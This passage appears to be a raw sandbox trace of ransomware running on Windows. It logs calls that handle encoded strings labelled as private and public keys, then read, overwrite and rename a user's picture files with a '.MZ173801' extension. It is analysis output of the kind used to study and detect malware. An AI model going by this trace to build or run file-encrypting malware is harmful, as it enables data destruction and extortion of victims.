Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.720] GetCurrentThreadId () returned 0xab4 [0153.720] GetCurrentThreadId () returned 0xab4 [0153.720] GetCurrentThreadId () returned 0xab4 [0153.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.721] GetCurrentThreadId () returned 0xab4 [0153.721] GetCurrentThreadId () returned 0xab4 [0153.721] GetCurrentThreadId () returned 0xab4 [0153.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.721] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.721] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.721] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x3c4d [0153.721] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.721] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x3c4d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x3c4d, lpOverlapped=0x0) returned 1 [0153.722] CloseHandle (hObject=0x2f8) returned 1 [0153.723] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.724] WriteFile (in: hFile=0x2f8, lpBuffer=0x24ef080*, nNumberOfBytesToWrite=0x3c4d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24ef080*, lpNumberOfBytesWritten=0x19f758*=0x3c4d, lpOverlapped=0x0) returned 1 [0153.725] CloseHandle (hObject=0x2f8) returned 1 [0153.726] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp.mz173801")) returned 1 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] GetCurrentThreadId () returned 0xab4 [0153.727] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc9f3b0, ftCreationTime.dwHighDateTime=0x1d5e65e, ftLastAccessTime.dwLowDateTime=0xeea01110, ftLastAccessTime.dwHighDateTime=0x1d5ea92, ftLastWriteTime.dwLowDateTime=0xeea01110, ftLastWriteTime.dwHighDateTime=0x1d5ea92, nFileSizeHigh=0x0, nFileSizeLow=0x974d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="psR4.jpg", cAlternateFileName="")) returned 1 [0153.727] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.727] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.727] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc9f3b0, ftCreationTime.dwHighDateTime=0x1d5e65e, ftLastAccessTime.dwLowDateTime=0xeea01110, ftLastAccessTime.dwHighDateTime=0x1d5ea92, ftLastWriteTime.dwLowDateTime=0xeea01110, ftLastWriteTime.dwHighDateTime=0x1d5ea92, nFileSizeHigh=0x0, nFileSizeLow=0x974d)) returned 1 [0153.727] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg")) returned 0x20 [0153.727] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg", dwFileAttributes=0x80) returned 1 [0153.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfw